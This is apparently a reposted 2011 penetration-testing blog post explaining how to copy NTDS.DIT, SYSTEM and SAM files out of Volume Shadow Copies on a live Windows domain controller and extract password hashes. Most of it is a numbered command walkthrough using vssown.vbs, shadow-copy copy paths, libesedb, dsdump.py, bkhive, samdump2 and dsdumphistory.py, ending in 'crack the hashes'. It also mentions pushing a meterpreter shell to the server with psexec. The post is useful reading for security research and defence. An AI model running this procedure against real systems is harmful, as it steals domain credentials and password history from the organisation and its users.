Safely Dumping Hashes from Live Domain Controllers

简介:  UPDATE: See http://pauldotcom.com/2011/12/safely-dumping-hashes-now-avai.
 

UPDATE: See http://pauldotcom.com/2011/12/safely-dumping-hashes-now-avai.html for updated information.

Recently, Mark Baggett and I presented material on some research we've been conducting for several months in a talk called "Lurking in the Shadows". The basis of the talk and the purpose for our research is that there are some really cool things you can do with Volume Shadow Copies in modern Windows Operating Systems. Our talk takes the approach of using Shadow Copies for hiding malware on Windows systems, but Mark mentions during the talk how one can access protected system files through Shadow Copies as well.

The day after we first presented "Lurking in the Shadows" at Hack3rCon II, Matt Graeber (@mattifestation) reached out to me and asked if I'd ever tried to take the SAM, SYSTEM hive or NTDS.DIT files from a live system using this technique. At the time, I hadn't. So, I immediately fired up my Windows 7 box, created a Shadow Copy with VSSOwn, and attempted to copy the SAM and SYSTEM hive files directly from the Shadow Copy. To my surprise, the 2 files copied without any non-readable errors! I guess I knew it would be possible, as Mark and I were already beating around this bush, but this meant something bigger. Something huge. Was it now possible to dump the NTDS.DIT and SYSTEM hive files from a LIVE domain controller for offline hash dumping? I quickly promoted one of my 2008 Servers to a DC, psexec'd a meterpreter shell to it and took a shot at the NTDS.DIT file with VSSOwn. The file copied out of the Shadow Copy without issue.

So it appears that Mark and I have uncovered some interesting stuff here. You can access anything that is supposed to be locked down and protected on a Windows system by accessing them through Shadow Copies. I can only imagine how we are going to begin seeing this used in the wild and I'm interested to see what others come up with.

But wait a sec. I still don't have hashes. All I have is the SYSTEM hive and the NTDS.DIT file. What can we do with these? Well, up until recently, nothing for free. No one had built a free, open source tool for parsing NTDS.DIT files and decrypting the hashes. But during my quest to find something, Jeremy Pommerening tweeted a link to this white paper. In brief, a security researcher named Csaba Barta took some existing tools and modified them to parse through the NTDS.DIT file and extract the hashes from it. Awesome! The link is complete! I combined Mark and my technique with Csaba's tools and here is the result:

1. Create a new Shadow Copy.
cscript vssown.vbs /start (optional)
cscript vssown.vbs /create

2. Pull the following files from a shadow copy:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM .

3. Copy files to BT5R1.

2. Download tools from:
http://csababarta.com/downloads/ntds_dump_hash.zip

3. Configure and Make the source code for libesedb from the extracted package.
cd libesedb
chmod +x configure
./configure && make

4. Use esedbdumphash to extract the datatable from ntds.dit.
cd esedbtools
./esedbdumphash ../../ntds.dit

5a. Use dsdump.py to dump the hashes from the datatable using the bootkey from the SYSTEM hive.
cd ../../creddump/
python ./dsdump.py ../SYSTEM ../libesedb/esedbtools/ntds.dit.export/datatable

5b. Use bkhive and samdump2 to dump the hashes from the SAM file using the bootkey from the SYSTEM hive.
bkhive SYSTEM key.txt
samdump2 SAM key.txt

6. Crack the hashes.

Beautiful right? But we're not done yet. Csaba also created a tool called dsdumphistory.py which dumps the PAST hashes of all the users as well. Now you can crack the historical passwords of users and identify patterns in their password history.

python ./dsdumphistory.py ../system ../libesedb/esedbtools/ntds.dit.export/datatable

So what exactly does this mean? No more dangerous LSSAS injection to dump domain hashes and no more drive mounting to access locked and protected system files. This is just plain awesome! Huge props to Csaba Barta for the tools and kick ass white paper, Matt Graeber for the idea (and everything else it seems like recently), and dakykilla for providing the files I needed to test all this stuff. You guys rock!

目录
相关文章
|
11月前
|
机器学习/深度学习 前端开发 JavaScript
230+本图灵编程高清文字版无水印电子书合集【制作不易,点赞收藏❤️】
今日精选,200余本图灵出版的高质量编程电子书,覆盖编程、系统架构、算法及机器学习等热门领域,助你全面提升技术能力。无论你是初学者还是资深开发者,都能从中找到适合自己的学习资源,从《Python编程:从入门到实践》到《深度学习入门》,每一本书都将是你技术成长道路上的良师益友,帮助你在瞬息万变的技术浪潮中站稳脚跟,稳步前行。
407 2
|
物联网 Java 数据格式
阿里云物联网消息透传设备端payLoad设置问题
由于低配置且资源受限,或者对网络流量有要求的设备,不适合直接构造JSON数据与物联网平台通信,可将原数据透传到物联网平台。本文主要针对文档中未对设备端payLoad的设置进行介绍,初次使用容易出错,结合官方示例对payLoad对象的处理进行介绍。
14860 0
阿里云物联网消息透传设备端payLoad设置问题
|
编解码
笔记本的常见分辨率
笔记本的常见分辨率
|
存储 运维 监控
经典好文:银行业IT服务连续性体系与灾备自动化切换经验分享
经典好文:银行业IT服务连续性体系与灾备自动化切换经验分享
552 0
|
编译器
立创EDA一些基础操作
立创EDA一些基础操作
738 0
|
设计模式 算法 JavaScript
策略模式-优雅的改造短信业务模块
策略模式-优雅的改造短信业务模块
策略模式-优雅的改造短信业务模块
|
存储 弹性计算 Linux
登录阿里云,注册账号|学习笔记
快速学习登录阿里云,注册账号
登录阿里云,注册账号|学习笔记
mac启动terminal终端快捷键
mac启动terminal终端快捷键
310 0
|
物联网
物联网平台网关设备+子设备接入平台演示
子设备不直接连接物联网平台,而是通过网关接入物联网平台。本示例介绍如何实现子设备通过网关接入物联网平台。 官方文档参考https://help.aliyun.com/document_detail/123984.html?spm=a2c4g.11186623.6.972.4417272dhkseDs
1331 0
物联网平台网关设备+子设备接入平台演示
|
算法
独家 | 一文教你如何处理不平衡数据集(附代码)
本文作者用python代码示例解释了3种处理不平衡数据集的可选方法,包括数据层面上的2种重采样数据集方法和算法层面上的1个集成分类器方法。
2389 0